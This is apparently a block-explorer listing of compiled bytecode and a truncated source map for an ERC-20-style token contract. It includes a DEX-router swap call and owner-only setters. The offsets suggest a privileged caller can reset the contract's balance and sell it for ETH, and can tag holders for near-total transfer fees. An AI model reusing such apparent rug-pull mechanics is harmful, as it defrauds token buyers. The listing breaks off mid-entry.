08a35761063f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f36565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156106a05761069f611980565b5b6040519080825280602002602001820160405280156106ce5781602001602082028036833780820191505090505b50905030816000815181106106e6576106e561183d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b191906119c4565b816001815181106107c5576107c461183d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848642602061084f9190611809565b6040518663ffffffff1660e01b815260040161086f959493929190611af4565b600060405180830381600087803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b50505050505b5050565b60006108b4848484611093565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108fe610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561094457600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610a0161096c610e40565b8484600b600061097a610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109fc9190611809565b610f36565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a79610c0c565b73ffffffffffffffffffffffffffffffffffffffff1614610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac690611960565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610bac610c0c565b73ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990611960565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c44906118e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c70906118e3565b8015610cbd5780601f10610c9257610100808354040283529160200191610cbd565b820191906000526020600020905b815481529060010190602001808311610ca057829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b6000610cfc610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d7f57600080fd5b610e18610d8a610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e139190611b4e565b610f36565b6001905092915050565b6000610e36610e2f610e40565b8484611093565b6001905092915050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600043905090565b6000610ee1610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f6f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa857600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110869190611695565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415801561112a57506110e7610ecf565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b61113657600354611160565b61115f6103e86111516103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111ae57600080fd5b80826111ba9190611b4e565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112089190611809565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461125e9190611b4e565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361129e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112fb9190611695565b60405180910390a350505050565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126114105761140f6113eb565b5b8235905067ffffffffffffffff81111561142d5761142c6113f0565b5b602083019150836020820283011115611449576114486113f5565b5b9250929050565b60008060208385031215611467576114666113e1565b5b600083013567ffffffffffffffff811115611485576114846113e6565b5b611491858286016113fa565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114d75780820151818401526020810190506114bc565b60008484015250505050565b6000601f19601f8301169050919050565b60006114ff8261149d565b61150981856114a8565b93506115198185602086016114b9565b611522816114e3565b840191505092915050565b6000602082019050818103600083015261154781846114f4565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061157a8261154f565b9050919050565b61158a8161156f565b811461159557600080fd5b50565b6000813590506115a781611581565b92915050565b6000819050919050565b6115c0816115ad565b81146115cb57600080fd5b50565b6000813590506115dd816115b7565b92915050565b600080604083850312156115fa576115f96113e1565b5b600061160885828601611598565b9250506020611619858286016115ce565b9150509250929050565b60008115159050919050565b61163881611623565b82525050565b6000602082019050611653600083018461162f565b92915050565b60006020828403121561166f5761166e6113e1565b5b600061167d848285016115ce565b91505092915050565b61168f816115ad565b82525050565b60006020820190506116aa6000830184611686565b92915050565b600080604083850312156116c7576116c66113e1565b5b60006116d5858286016115ce565b92505060206116e685828601611598565b9150509250929050565b600080600060608486031215611709576117086113e1565b5b600061171786828701611598565b935050602061172886828701611598565b9250506040611739868287016115ce565b9150509250925092565b600060208284031215611759576117586113e1565b5b600061176784828501611598565b91505092915050565b6117798161156f565b82525050565b60006020820190506117946000830184611770565b92915050565b600080604083850312156117b1576117b06113e1565b5b60006117bf85828601611598565b92505060206117d085828601611598565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611814826115ad565b915061181f836115ad565b9250828201905080821115611837576118366117da565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611877826115ad565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118a9576118a86117da565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118fb57607f821691505b60208210810361190e5761190d6118b4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061194a6020836114a8565b915061195582611914565b602082019050919050565b600060208201905081810360008301526119798161193d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506119be81611581565b92915050565b6000602082840312156119da576119d96113e1565b5b60006119e8848285016119af565b91505092915050565b6000819050919050565b6000819050919050565b6000611a20611a1b611a16846119f1565b6119fb565b6115ad565b9050919050565b611a3081611a05565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a6b8161156f565b82525050565b6000611a7d8383611a62565b60208301905092915050565b6000602082019050919050565b6000611aa182611a36565b611aab8185611a41565b9350611ab683611a52565b8060005b83811015611ae7578151611ace8882611a71565b9750611ad983611a89565b925050600181019050611aba565b5085935050505092915050565b600060a082019050611b096000830188611686565b611b166020830187611a27565b8181036040830152611b288186611a96565b9050611b376060830185611770565b611b446080830184611686565b9695505050505050565b6000611b59826115ad565b9150611b64836115ad565b9250828203905081811115611b7c57611b7b6117da565b5b92915050565b6000611b8d826115ad565b9150611b98836115ad565b9250828202611ba6816115ad565b91508282048414831517611bbd57611bbc6117da565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826115ad565b9150611c09836115ad565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836114a8565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836114a8565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea264697066735822122031e66d4975934947b20d3f16223b05d23d714eb8e968d42c056fe5d7a3a3015964736f6c63430008130033

Deployed Bytecode Sourcemap

2033:4521:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3748:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5964:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2114:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4290:80;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4599:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5453:505;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4813:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3483:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2504:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2539:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2890:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5041:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1543:148;;;:::i;:::-;;4376:83;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1955:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3614:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4045:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6041:247;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2750:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;218:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2364:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3748:290;3821:22;3863:1;3846:14;:12;:14::i;:::-;:18;;;;:::i;:::-;3821:43;;3880:11;3875:156;3907:10;;:17;;3898:6;:26;3875:156;;;3957:11;:9;:11::i;:::-;3953:67;;;4003:14;3971:9;:29;3981:10;;3992:6;3981:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3971:29;;;;;;;;;;;;;;;:46;;;;3953:67;3927:8;;;;;:::i;:::-;;;;3875:156;;;;3809:229;3748:290;;:::o;5964:71::-;6003:13;6027:5;6020:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5964:71;:::o;2114:159::-;2188:4;2205:38;2214:11;:9;:11::i;:::-;2227:7;2236:6;2205:8;:38::i;:::-;2261:4;2254:11;;2114:159;;;;:::o;4290:80::-;1776:10;1765:21;;:7;:5;:7::i;:::-;:21;;;1757:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4360:2:::1;4351:6;:11;;;;4290:80:::0;:::o;4599:95::-;4645:7;4673:12;;4666:19;;4599:95;:::o;5453:505::-;5539:11;:9;:11::i;:::-;5535:416;;;5554:58;5571:4;5586:13;;;;;;;;;;;5603:8;5554;:58::i;:::-;5651:8;5624:9;:24;5642:4;5624:24;;;;;;;;;;;;;;;:35;;;;5670:26;5713:1;5699:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5670:45;;5751:4;5728:9;5738:1;5728:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;5785:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5770:9;5780:1;5770:12;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5818:13;;;;;;;;;;;:64;;;5883:8;5893:1;5896:9;5907;5923:15;5918:2;:20;;;;:::i;:::-;5818:121;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5552:399;5535:416;5453:505;;:::o;4813:222::-;4896:4;4913:30;4923:5;4930:3;4935:7;4913:9;:30::i;:::-;4997:7;4962:11;:18;4974:5;4962:18;;;;;;;;;;;;;;;:31;4981:11;:9;:11::i;:::-;4962:31;;;;;;;;;;;;;;;;:42;;4954:51;;;;;;5023:4;5016:11;;4813:222;;;;;:::o;3483:87::-;3526:7;3553:9;;3546:16;;3483:87;:::o;2504:28::-;;;;:::o;2539:205::-;2619:4;2636:78;2645:11;:9;:11::i;:::-;2658:7;2703:10;2667:11;:24;2679:11;:9;:11::i;:::-;2667:24;;;;;;;;;;;;;;;:33;2692:7;2667:33;;;;;;;;;;;;;;;;:46;;;;:::i;:::-;2636:8;:78::i;:::-;2732:4;2725:11;;2539:205;;;;:::o;2890:61::-;;;;:::o;5041:96::-;5098:7;5116:9;:18;5126:7;5116:18;;;;;;;;;;;;;;;;5109:25;;5041:96;;;:::o;1543:148::-;1776:10;1765:21;;:7;:5;:7::i;:::-;:21;;;1757:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1650:1:::1;1613:40;;1634:6;::::0;::::1;;;;;;;;1613:40;;;;;;;;;;;;1681:1;1664:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1543:148::o:0;4376:83::-;1776:10;1765:21;;:7;:5;:7::i;:::-;:21;;;1757:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4449:2:::1;4439:7;:12;;;;4376:83:::0;:::o;1955:71::-;2001:7;2018:6;;;;;;;;;;;2011:13;;1955:71;:::o;3614:87::-;3653:13;3686:7;3679:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3614:87;:::o;4045:31::-;;;;;;;;;;;;;:::o;6041:247::-;6114:4;6173:6;6139:11;:24;6151:11;:9;:11::i;:::-;6139:24;;;;;;;;;;;;;;;:30;6164:4;6139:30;;;;;;;;;;;;;;;;:40;;6131:49;;;;;;6191:67;6200:11;:9;:11::i;:::-;6213:4;6251:6;6219:11;:23;6231:10;6219:23;;;;;;;;;;;;;;;:29;6243:4;6219:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6191:8;:67::i;:::-;6276:4;6269:11;;6041:247;;;;:::o;2750:134::-;2819:4;2827:41;2837:11;:9;:11::i;:::-;2850:9;2861:6;2827:9;:41::i;:::-;2877:4;2870:11;;2750:134;;;;:::o;218:71::-;260:7;277:10;270:17;;218:71;:::o;2364:134::-;2436:7;2463:11;:18;2475:5;2463:18;;;;;;;;;;;;;;;:27;2482:7;2463:27;;;;;;;;;;;;;;;;2456:34;;2364:134;;;;:::o;4191:93::-;4237:7;4264:12;4257:19;;4191:93;:::o;4700:107::-;4744:4;4788:11;:9;:11::i;:::-;4768:31;;:16;;;;;;;;;;;:31;;;4761:38;;4700:107;:::o;5144:258::-;5257:1;5238:21;;:7;:21;;;5230:30;;;;;;5296:1;5279:19;;:5;:19;;;5271:28;;;;;;5340:6;5310:11;:18;5322:5;5310:18;;;;;;;;;;;;;;;:27;5329:7;5310:27;;;;;;;;;;;;;;;:36;;;;5378:7;5362:32;;5371:5;5362:32;;;5387:6;5362:32;;;;;;:::i;:::-;;;;;;;;5144:258;;;:::o;2958:468::-;3042:17;3097:1;3077:9;:16;3087:5;3077:16;;;;;;;;;;;;;;;;:21;;:59;;;;;3122:14;:12;:14::i;:::-;3102:9;:16;3112:5;3102:16;;;;;;;;;;;;;;;;:34;;3077:59;3062:135;;3190:7;;3062:135;;;3150:26;3171:4;3150:16;3162:3;3150:7;:11;;:16;;;;:::i;:::-;:20;;:26;;;;:::i;:::-;3062:135;3042:155;;3227:9;:16;3237:5;3227:16;;;;;;;;;;;;;;;;3216:7;:27;;3208:36;;;;;;3284:9;3274:7;:19;;;;:::i;:::-;3256:9;:14;3266:3;3256:14;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3325:7;3304:9;:16;3314:5;3304:16;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;3370:1;3353:19;;:5;:19;;;3345:28;;;;;;3405:3;3389:29;;3398:5;3389:29;;;3410:7;3389:29;;;;;;:::i;:::-;;;;;;;;3031:395;2958:468;;;:::o;509:223::-;567:7;596:1;591;:6;587:23;;607:1;600:8;;;;587:23;620:9;636:1;632;:5;;;;:::i;:::-;620:17;;665:1;660;656;:5;;;;:::i;:::-;:10;648:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;723:1;716:8;;;509:223;;;;;:::o;928:178::-;986:7;1018:1;1014;:5;1006:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1062:9;1078:1;1074;:5;;;;:::i;:::-;1062:17;;1097:1;1090:8;;;928:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:99::-;1911:6;1945:5;1939:12;1929:22;;1859:99;;;:::o;1964:169::-;2048:11;2082:6;2077:3;2070:19;2122:4;2117:3;2113:14;2098:29;;1964:169;;;;:::o;2139:246::-;2220:1;2230:113;2244:6;2241:1;2238:13;2230:113;;;2329:1;2324:3;2320:11;2314:18;2310:1;2305:3;2301:11;2294:39;2266:2;2263:1;2259:10;2254:15;;2230:113;;;2377:1;2368:6;2363:3;2359:16;2352:27;2201:184;2139:246;;;:::o;2391:102::-;2432:6;2483:2;2479:7;2474:2;2467:5;2463:14;2459:28;2449:38;;2391:102;;;:::o;2499:377::-;2587:3;2615:39;2648:5;2615:39;:::i;:::-;2670:71;2734:6;2729:3;2670:71;:::i;:::-;2663:78;;2750:65;2808:6;2803:3;2796:4;2789:5;2785:16;2750:65;:::i;:::-;2840:29;2862:6;2840:29;:::i;:::-;2835:3;2831:39;2824:46;;2591:285;2499:377;;;;:::o;2882:313::-;2995:4;3033:2;3022:9;3018:18;3010:26;;3082:9;3076:4;3072:20;3068:1;3057:9;3053:17;3046:47;3110:78;3183:4;3174:6;3110:78;:::i;:::-;3102:86;;2882:313;;;;:::o;3201:126::-;3238:7;3278:42;3271:5;3267:54;3256:65;;3201:126;;;:::o;3333:96::-;3370:7;3399:24;3417:5;3399:24;:::i;:::-;3388:35;;3333:96;;;:::o;3435:122::-;3508:24;3526:5;3508:24;:::i;:::-;3501:5;3498:35;3488:63;;3547:1;3544;3537:12;3488:63;3435:122;:::o;3563:139::-;3609:5;3647:6;3634:20;3625:29;;3663:33;3690:5;3663:33;:::i;:::-;3563:139;;;;:::o;3708:77::-;3745:7;3774:5;3763:16;;3708:77;;;:::o;3791:122::-;3864:24;3882:5;3864:24;:::i;:::-;3857:5;3854:35;3844:63;;3903:1;3900;3893:12;3844:63;3791:122;:::o;3919:139::-;3965:5;4003:6;3990:20;3981:29;;4019:33;4046:5;4019:33;:::i;:::-;3919:139;;;;:::o;4064:474::-;4132:6;4140;4189:2;4177:9;4168:7;4164:23;4160:32;4157:119;;;4195:79;;:::i;:::-;4157:119;4315:1;4340:53;4385:7;4376:6;4365:9;4361:22;4340:53;:::i;:::-;4330:63;;4286:117;4442:2;4468:53;4513:7;4504:6;4493:9;4489:22;4468:53;:::i;:::-;4458:63;;4413:118;4064:474;;;;;:::o;4544:90::-;4578:7;4621:5;4614:13;4607:21;4596:32;;4544:90;;;:::o;4640:109::-;4721:21;4736:5;4721:21;:::i;:::-;4716:3;4709:34;4640:109;;:::o;4755:210::-;4842:4;4880:2;4869:9;4865:18;4857:26;;4893:65;4955:1;4944:9;4940:17;4931:6;4893:65;:::i;:::-;4755:210;;;;:::o;4971:329::-;5030:6;5079:2;5067:9;5058:7;5054:23;5050:32;5047:119;;;5085:79;;:::i;:::-;5047:119;5205:1;5230:53;5275:7;5266:6;5255:9;5251:22;5230:53;:::i;:::-;5220:63;;5176:117;4971:329;;;;:::o;5306:118::-;5393:24;5411:5;5393:24;:::i;:::-;5388:3;5381:37;5306:118;;:::o;5430:222::-;5523:4;5561:2;5550:9;5546:18;5538:26;;5574:71;5642:1;5631:9;5627:17;5618:6;5574:71;:::i;:::-;5430:222;;;;:::o;5658:474::-;5726:6;5734;5783:2;5771:9;5762:7;5758:23;5754:32;5751:119;;;5789:79;;:::i;:::-;5751:119;5909:1;5934:53;5979:7;5970:6;5959:9;5955:22;5934:53;:::i;:::-;5924:63;;5880:117;6036:2;6062:53;6107:7;6098:6;6087:9;6083:22;6062:53;:::i;:::-;6052:63;;6007:118;5658:474;;;;;:::o;6138:619::-;6215:6;6223;6231;6280:2;6268:9;6259:7;6255:23;6251:32;6248:119;;;6286:79;;:::i;:::-;6248:119;6406:1;6431:53;6476:7;6467:6;6456:9;6452:22;6431:53;:::i;:::-;6421:63;;6377:117;6533:2;6559:53;6604:7;6595:6;6584:9;6580:22;6559:53;:::i;:::-;6549:63;;6504:118;6661:2;6687:53;6732:7;6723:6;6712:9;6708:22;6687:53;:::i;:::-;6677:63;;6632:118;6138:619;;;;;:::o;6763:329::-;6822:6;6871:2;6859:9;6850:7;6846:23;6842:32;6839:119;;;6877:79;;:::i;:::-;6839:119;6997:1;7022:53;7067:7;7058:6;7047:9;7043:22;7022:53;:::i;:::-;7012:63;;6968:117;6763:329;;;;:::o;7098:118::-;7185:24;7203:5;7185:24;:::i;:::-;7180:3;7173:37;7098:118;;:::o;7222:222::-;7315:4;7353:2;7342:9;7338:18;7330:26;;7366:71;7434:1;7423:9;7419:17;7410:6;7366:71;:::i;:::-;7222:222;;;;:::o;7450:474::-;7518:6;7526;7575:2;7563:9;7554:7;7550:23;7546:32;7543:119;;;7581:79;;:::i;:::-;7543:119;7701:1;7726:53;7771:7;7762:6;7751:9;7747:22;7726:53;:::i;:::-;7716:63;;7672:117;7828:2;7854:53;7899:7;7890:6;7879:9;7875:22;7854:53;:::i;:::-;7844:63;;7799:118;7450:474;;;;;:::o;7930:180::-;7978:77;7975:1;7968:88;8075:4;8072:1;8065:15;8099:4;8096:1;8089:15;8116:191;8156:3;8175:20;8193:1;8175:20;:::i;:::-;8170:25;;8209:20;8227:1;8209:20;:::i;:::-;8204:25;;8252:1;8249;8245:9;8238:16;;8273:3;8270:1;8267:10;8264:36;;;8280:18;;:::i;:::-;8264:36;8116:191;;;;:::o;8313:180::-;8361:77;8358:1;8351:88;8458:4;8455:1;8448:15;8482:4;8479:1;8472:15;8499:233;8538:3;8561:24;8579:5;8561:24;:::i;:::-;8552:33;;8607:66;8600:5;8597:77;8594:103;;8677:18;;:::i;:::-;8594:103;8724:1;8717:5;8713:13;8706:20;;8499:233;;;:::o;8738:180::-;8786:77;8783:1;8776:88;8883:4;8880:1;8873:15;8907:4;8904:1;8897:15;8924:320;8968:6;9005:1;8999:4;8995:12;8985:22;;9052:1;9046:4;9042:12;9073:18;9063:81;;9129:4;9121:6;9117:17;9107:27;;9063:81;9191:2;9183:6;9180:14;9160:18;9157:38;9154:84;;9210:18;;:::i;:::-;9154:84;8975:269;8924:320;;;:::o;9250:182::-;9390:34;9386:1;9378:6;9374:14;9367:58;9250:182;:::o;9438:366::-;9580:3;9601:67;9665:2;9660:3;9601:67;:::i;:::-;9594:74;;9677:93;9766:3;9677:93;:::i;:::-;9795:2;9790:3;9786:12;9779:19;;9438:366;;;:::o;9810:419::-;9976:4;10014:2;10003:9;9999:18;9991:26;;10063:9;10057:4;10053:20;10049:1;10038:9;10034:17;10027:47;10091:131;10217:4;10091:131;:::i;:::-;10083:139;;9810:419;;;:::o;10235:180::-;10283:77;10280:1;10273:88;10380:4;10377:1;10370:15;10404:4;10401:1;10394:15;10421:143;10478:5;10509:6;10503:13;10494:22;;10525:33;10552:5;10525:33;:::i;:::-;10421:143;;;;:::o;10570:351::-;10640:6;10689:2;10677:9;10668:7;10664:23;10660:32;10657:119;;;10695:79;;:::i;:::-;10657:119;10815:1;10840:64;10896:7;10887:6;10876:9;10872:22;10840:64;:::i;:::-;10830:74;;10786:128;10570:351;;;;:::o;10927:85::-;10972:7;11001:5;10990:16;;10927:85;;;:::o;11018:60::-;11046:3;11067:5;11060:12;;11018:60;;;:::o;11084:158::-;11142:9;11175:61;11193:42;11202:32;11228:5;11202:32;:::i;:::-;11193:42;:::i;:::-;11175:61;:::i;:::-;11162:74;;11084:158;;;:::o;11248:147::-;11343:45;11382:5;11343:45;:::i;:::-;11338:3;11331:58;11248:147;;:::o;11401:114::-;11468:6;11502:5;11496:12;11486:22;;11401:114;;;:::o;11521:184::-;11620:11;11654:6;11649:3;11642:19;11694:4;11689:3;11685:14;11670:29;;11521:184;;;;:::o;11711:132::-;11778:4;11801:3;11793:11;;11831:4;11826:3;11822:14;11814:22;;11711:132;;;:::o;11849:108::-;11926:24;11944:5;11926:24;:::i;:::-;11921:3;11914:37;11849:108;;:::o;11963:179::-;12032:10;12053:46;12095:3;12087:6;12053:46;:::i;:::-;12131:4;12126:3;12122:14;12108:28;;11963:179;;;;:::o;12148:113::-;12218:4;12250;12245:3;12241:14;12233:22;;12148:113;;;:::o;12297:732::-;12416:3;12445:54;12493:5;12445:54;:::i;:::-;12515:86;12594:6;12589:3;12515:86;:::i;:::-;12508:93;;12625:56;12675:5;12625:56;:::i;:::-;12704:7;12735:1;12720:284;12745:6;12742:1;12739:13;12720:284;;;12821:6;12815:13;12848:63;12907:3;12892:13;12848:63;:::i;:::-;12841:70;;12934:60;12987:6;12934:60;:::i;:::-;12924:70;;12780:224;12767:1;12764;12760:9;12755:14;;12720:284;;;12724:14;13020:3;13013:10;;12421:608;;;12297:732;;;;:::o;13035:831::-;13298:4;13336:3;13325:9;13321:19;13313:27;;13350:71;13418:1;13407:9;13403:17;13394:6;13350:71;:::i;:::-;13431:80;13507:2;13496:9;13492:18;13483:6;13431:80;:::i;:::-;13558:9;13552:4;13548:20;13543:2;13532:9;13528:18;13521:48;13586:108;13689:4;13680:6;13586:108;:::i;:::-;13